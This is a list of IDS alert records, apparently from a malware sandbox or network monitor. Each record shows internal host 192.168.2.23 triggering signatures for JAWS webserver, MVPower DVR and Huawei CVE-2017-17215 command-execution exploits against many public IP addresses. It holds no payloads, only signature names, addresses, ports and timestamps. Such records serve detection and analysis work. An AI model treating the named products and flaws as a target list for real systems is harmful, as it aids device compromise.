ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.50.165.37

Timestamp:	192.168.2.2385.50.165.3759160802030092 01/02/24-06:24:24.106651
SID:	2030092
Source Port:	59160
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.78.13.160

Timestamp:	192.168.2.2323.78.13.16036348802030092 01/02/24-06:23:58.964776
SID:	2030092
Source Port:	36348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 146.75.21.143

Timestamp:	192.168.2.23146.75.21.14359376802025883 01/02/24-06:24:45.316760
SID:	2025883
Source Port:	59376
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.65.143.95

Timestamp:	192.168.2.2318.65.143.9547196802025883 01/02/24-06:25:12.172054
SID:	2025883
Source Port:	47196
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 203.170.84.98

Timestamp:	192.168.2.23203.170.84.9841608802025883 01/02/24-06:24:05.853329
SID:	2025883
Source Port:	41608
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 114.55.243.176

Timestamp:	192.168.2.23114.55.243.17648672802025883 01/02/24-06:25:22.179481
SID:	2025883
Source Port:	48672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.255.233.53

Timestamp:	192.168.2.2387.255.233.5348182802030092 01/02/24-06:24:08.655481
SID:	2030092
Source Port:	48182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.101.108.165

Timestamp:	192.168.2.2346.101.108.16542208802030092 01/02/24-06:24:24.183226
SID:	2030092
Source Port:	42208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 86.181.28.252

Timestamp:	192.168.2.2386.181.28.25240796802025883 01/02/24-06:24:28.186813
SID:	2025883
Source Port:	40796
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 101.42.123.60

Timestamp:	192.168.2.23101.42.123.6038286802025883 01/02/24-06:23:49.854020
SID:	2025883
Source Port:	38286
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.224.201.175

Timestamp:	192.168.2.23173.224.201.17554220802030092 01/02/24-06:24:23.810709
SID:	2030092
Source Port:	54220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.19.229.176

Timestamp:	192.168.2.23104.19.229.17639714802030092 01/02/24-06:24:40.719393
SID:	2030092
Source Port:	39714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 174.84.210.3

Timestamp:	192.168.2.23174.84.210.335298802030092 01/02/24-06:25:31.914564
SID:	2030092
Source Port:	35298
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.92.226.199

Timestamp:	192.168.2.23154.92.226.19933136802025883 01/02/24-06:24:13.806614
SID:	2025883
Source Port:	33136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934152802030092 01/02/24-06:23:55.217292
SID:	2030092
Source Port:	34152
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.93.2.119

Timestamp:	192.168.2.23104.93.2.11952484802025883 01/02/24-06:24:52.173461
SID:	2025883
Source Port:	52484
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.107.28.16

Timestamp:	192.168.2.23104.107.28.1660550802025883 01/02/24-06:23:51.391248
SID:	2025883
Source Port:	60550
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.56.102.146

Timestamp:	192.168.2.2345.56.102.14636664802025883 01/02/24-06:24:56.015984
SID:	2025883
Source Port:	36664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.126.113.76

Timestamp:	192.168.2.2334.126.113.7654070802030092 01/02/24-06:25:15.540979
SID:	2030092
Source Port:	54070
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.110.26.82

Timestamp:	192.168.2.23185.110.26.8256372802030092 01/02/24-06:24:19.276074
SID:	2030092
Source Port:	56372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.221.82.221

Timestamp:	192.168.2.23154.221.82.22160596802030092 01/02/24-06:25:02.335948
SID:	2030092
Source Port:	60596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.249.87.54

Timestamp:	192.168.2.2313.249.87.5444040802030092 01/02/24-06:24:23.621355
SID:	2030092
Source Port:	44040
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.66.27.182

Timestamp:	192.168.2.2318.66.27.18250544802025883 01/02/24-06:24:59.193137
SID:	2025883
Source Port:	50544
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.155.143.62

Timestamp:	192.168.2.23149.155.143.6259544802030092 01/02/24-06:25:25.272485
SID:	2030092
Source Port:	59544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.43.229.228

Timestamp:	192.168.2.2323.43.229.22859784802025883 01/02/24-06:23:58.287305
SID:	2025883
Source Port:	59784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 31.30.58.133

Timestamp:	192.168.2.2331.30.58.13333052802030092 01/02/24-06:24:10.909503
SID:	2030092
Source Port:	33052
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.68.46.23

Timestamp:	192.168.2.2351.68.46.2342144802030092 01/02/24-06:24:54.912247
SID:	2030092
Source Port:	42144
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.8.247.70

Timestamp:	192.168.2.23212.8.247.7039420802030092 01/02/24-06:24:59.257113
SID:	2030092
Source Port:	39420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.208.198.214

Timestamp:	192.168.2.23154.208.198.21441798802030092 01/02/24-06:24:45.035888
SID:	2030092
Source Port:	41798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.221.198.86

Timestamp:	192.168.2.2337.221.198.8650826802030092 01/02/24-06:25:24.777893
SID:	2030092
Source Port:	50826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.242.127.81

Timestamp:	192.168.2.23173.242.127.8135322802025883 01/02/24-06:25:25.176699
SID:	2025883
Source Port:	35322
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.19.25.188

Timestamp:	192.168.2.2350.19.25.18857882802030092 01/02/24-06:24:17.916928
SID:	2030092
Source Port:	57882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.242.107.196

Timestamp:	192.168.2.2377.242.107.19653440802025883 01/02/24-06:25:25.327513
SID:	2025883
Source Port:	53440
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 152.67.216.180

Timestamp:	192.168.2.23152.67.216.18058250802025883 01/02/24-06:24:09.004126
SID:	2025883
Source Port:	58250
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 103.50.160.139

Timestamp:	192.168.2.23103.50.160.13953436802025883 01/02/24-06:24:30.812927
SID:	2025883
Source Port:	53436
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.50.137.229

Timestamp:	192.168.2.2352.50.137.22941178802025883 01/02/24-06:24:03.282074
SID:	2025883
Source Port:	41178
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.16.231.225

Timestamp:	192.168.2.232.16.231.22546374802025883 01/02/24-06:24:45.225996
SID:	2025883
Source Port:	46374
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 146.75.63.133

Timestamp:	192.168.2.23146.75.63.13352912802025883 01/02/24-06:23:55.171237
SID:	2025883
Source Port:	52912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.196.15.131

Timestamp:	192.168.2.2352.196.15.13145438802025883 01/02/24-06:25:02.277841
SID:	2025883
Source Port:	45438
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 157.52.181.61

Timestamp:	192.168.2.23157.52.181.6140930802025883 01/02/24-06:25:29.722171
SID:	2025883
Source Port:	40930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.105.18.182

Timestamp:	192.168.2.23104.105.18.18246624802030092 01/02/24-06:24:13.802828
SID:	2030092
Source Port:	46624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 204.152.46.67

Timestamp:	192.168.2.23204.152.46.6744196802025883 01/02/24-06:24:40.815829
SID:	2025883
Source Port:	44196
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 184.85.129.251

Timestamp:	192.168.2.23184.85.129.25155542802025883 01/02/24-06:24:01.334668
SID:	2025883
Source Port:	55542
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 121.11.37.234

Timestamp:	192.168.2.23121.11.37.23456708802025883 01/02/24-06:24:50.567237
SID:	2025883
Source Port:	56708
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 125.229.151.239

Timestamp:	192.168.2.23125.229.151.23948022802025883 01/02/24-06:23:54.655329
SID:	2025883
Source Port:	48022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.158.48.173

Timestamp:	192.168.2.23107.158.48.17360248802025883 01/02/24-06:25:24.657251
SID:	2025883
Source Port:	60248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.244.131.8

Timestamp:	192.168.2.2335.244.131.839990802025883 01/02/24-06:25:34.794177
SID:	2025883
Source Port:	39990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.82.53.43

Timestamp:	192.168.2.23191.82.53.4348036802030092 01/02/24-06:24:27.438039
SID:	2030092
Source Port:	48036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.211.17.190

Timestamp:	192.168.2.2354.211.17.19052204802025883 01/02/24-06:23:51.955510
SID:	2025883
Source Port:	52204
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.67.147.17

Timestamp:	192.168.2.2318.67.147.1742596802030092 01/02/24-06:25:34.896348
SID:	2030092
Source Port:	42596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.167.115.162

Timestamp:	192.168.2.23190.167.115.16244810802030092 01/02/24-06:23:55.091590
SID:	2030092
Source Port:	44810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.100.155

Timestamp:	192.168.2.23156.254.100.15556258372152835222 01/02/24-06:24:45.346010
SID:	2835222
Source Port:	56258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.208.8.115

Timestamp:	192.168.2.2318.208.8.11543682802030092 01/02/24-06:25:15.875600
SID:	2030092
Source Port:	43682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.219.183.102

Timestamp:	192.168.2.23154.219.183.10247752802025883 01/02/24-06:25:34.822358
SID:	2025883
Source Port:	47752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 111.87.115.153

Timestamp:	192.168.2.23111.87.115.15347612802030092 01/02/24-06:25:25.281636
SID:	2030092
Source Port:	47612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.134.218.248

Timestamp:	192.168.2.23220.134.218.24855228802030092 01/02/24-06:23:51.508732
SID:	2030092
Source Port:	55228
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 114.33.8.18

Timestamp:	192.168.2.23114.33.8.1834070802025883 01/02/24-06:25:18.822764
SID:	2025883
Source Port:	34070
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 98.123.179.98

Timestamp:	192.168.2.2398.123.179.9836228802025883 01/02/24-06:24:08.556843
SID:	2025883
Source Port:	36228
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 94.250.243.6

Timestamp:	192.168.2.2394.250.243.644720802030092 01/02/24-06:24:27.687612
SID:	2030092
Source Port:	44720
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.204.79.202

Timestamp:	192.168.2.2352.204.79.20242440802030092 01/02/24-06:25:11.888955
SID:	2030092
Source Port:	42440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 211.253.8.107

Timestamp:	192.168.2.23211.253.8.10738410802025883 01/02/24-06:25:02.050528
SID:	2025883
Source Port:	38410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.50.91.169

Timestamp:	192.168.2.2323.50.91.16934304802030092 01/02/24-06:25:25.361156
SID:	2030092
Source Port:	34304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.69.20.60

Timestamp:	192.168.2.23159.69.20.6060990802030092 01/02/24-06:23:51.599206
SID:	2030092
Source Port:	60990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.221.123.61

Timestamp:	192.168.2.2323.221.123.6153238802025883 01/02/24-06:25:30.014297
SID:	2025883
Source Port:	53238
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.173.201.91

Timestamp:	192.168.2.2338.173.201.9140430802025883 01/02/24-06:24:30.753564
SID:	2025883
Source Port:	40430
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 43.192.122.65

Timestamp:	192.168.2.2343.192.122.6537710802025883 01/02/24-06:25:42.873893
SID:	2025883
Source Port:	37710
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.63.78.70

Timestamp:	192.168.2.2345.63.78.7035444802030092 01/02/24-06:24:24.766885
SID:	2030092
Source Port:	35444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.214.242.162

Timestamp:	192.168.2.23185.214.242.16237540802025883 01/02/24-06:24:49.039118
SID:	2025883
Source Port:	37540
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.154.232.242

Timestamp:	192.168.2.23198.154.232.24259276802030092 01/02/24-06:24:45.021090
SID:	2030092
Source Port:	59276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.203.180.13

Timestamp:	192.168.2.2334.203.180.1341426802025883 01/02/24-06:24:04.156700
SID:	2025883
Source Port:	41426
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.14.39.91

Timestamp:	192.168.2.2323.14.39.9148702802030092 01/02/24-06:25:37.988872
SID:	2030092
Source Port:	48702
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 71.80.219.15

Timestamp:	192.168.2.2371.80.219.1554798802025883 01/02/24-06:24:23.996859
SID:	2025883
Source Port:	54798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.11.37.234

Timestamp:	192.168.2.23121.11.37.23456696802030092 01/02/24-06:24:50.251380
SID:	2030092
Source Port:	56696
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.231.230.60

Timestamp:	192.168.2.2335.231.230.6033018802030092 01/02/24-06:25:03.820714
SID:	2030092
Source Port:	33018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.255.250.61

Timestamp:	192.168.2.23173.255.250.6148452802030092 01/02/24-06:24:17.602391
SID:	2030092
Source Port:	48452
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.198.100.113

Timestamp:	192.168.2.23203.198.100.11341360802030092 01/02/24-06:25:25.334124
SID:	2030092
Source Port:	41360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.163.53.15

Timestamp:	192.168.2.2382.163.53.1537476802030092 01/02/24-06:24:23.976596
SID:	2030092
Source Port:	37476
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.12.222.113

Timestamp:	192.168.2.23198.12.222.11345034802025883 01/02/24-06:24:58.944478
SID:	2025883
Source Port:	45034
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 94.253.89.24

Timestamp:	192.168.2.2394.253.89.2442508802030092 01/02/24-06:23:50.267161
SID:	2030092
Source Port:	42508
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.128.206.168

Timestamp:	192.168.2.23188.128.206.16847120802030092 01/02/24-06:24:13.779989
SID:	2030092
Source Port:	47120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.240.113.203

Timestamp:	192.168.2.23209.240.113.20338972802030092 01/02/24-06:25:25.193436
SID:	2030092
Source Port:	38972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.113.198.158

Timestamp:	192.168.2.23104.113.198.15836010802030092 01/02/24-06:24:24.210333
SID:	2030092
Source Port:	36010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 70.121.13.4

Timestamp:	192.168.2.2370.121.13.460866802025883 01/02/24-06:24:27.470721
SID:	2025883
Source Port:	60866
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.99.30

Timestamp:	192.168.2.23156.235.99.3048078372152829579 01/02/24-06:25:03.497384
SID:	2829579
Source Port:	48078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.132.17.223

Timestamp:	192.168.2.23186.132.17.22347340802030092 01/02/24-06:24:18.726816
SID:	2030092
Source Port:	47340
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 202.81.229.169

Timestamp:	192.168.2.23202.81.229.16957854802025883 01/02/24-06:24:05.844790
SID:	2025883
Source Port:	57854
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 63.195.193.240

Timestamp:	192.168.2.2363.195.193.24042464802030092 01/02/24-06:23:51.372398
SID:	2030092
Source Port:	42464
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.55.68.98

Timestamp:	192.168.2.2323.55.68.9857508802030092 01/02/24-06:25:29.993837
SID:	2030092
Source Port:	57508
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.206.169.216

Timestamp:	192.168.2.2334.206.169.21634808802025883 01/02/24-06:25:00.915047
SID:	2025883
Source Port:	34808
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.21.224.126

Timestamp:	192.168.2.232.21.224.12652276802030092 01/02/24-06:25:16.010358
SID:	2030092
Source Port:	52276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.67.179.1

Timestamp:	192.168.2.2396.67.179.140870802030092 01/02/24-06:24:10.828261
SID:	2030092
Source Port:	40870
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.125.2.94

Timestamp:	192.168.2.23104.125.2.9460962802025883 01/02/24-06:24:40.594854
SID:	2025883
Source Port:	60962
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.160.79.119

Timestamp:	192.168.2.2334.160.79.11940184802025883 01/02/24-06:25:43.999253
SID:	2025883
Source Port:	40184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.127.14.185

Timestamp:	192.168.2.2313.127.14.18542886802030092 01/02/24-06:24:41.189472
SID:	2030092
Source Port:	42886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.44.232.138

Timestamp:	192.168.2.23198.44.232.13837024802025883 01/02/24-06:25:43.163000
SID:	2025883
Source Port:	37024
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.212.162.83

Timestamp:	192.168.2.2367.212.162.8360502802030092 01/02/24-06:23:51.361230
SID:	2030092
Source Port:	60502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.207.79.244

Timestamp:	192.168.2.2323.207.79.24432972802030092 01/02/24-06:24:45.082176
SID:	2030092
Source Port:	32972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.164.6.48

Timestamp:	192.168.2.23185.164.6.4838734802030092 01/02/24-06:23:54.914292
SID:	2030092
Source Port:	38734
Destination Port:	80
Protocol:	TCP
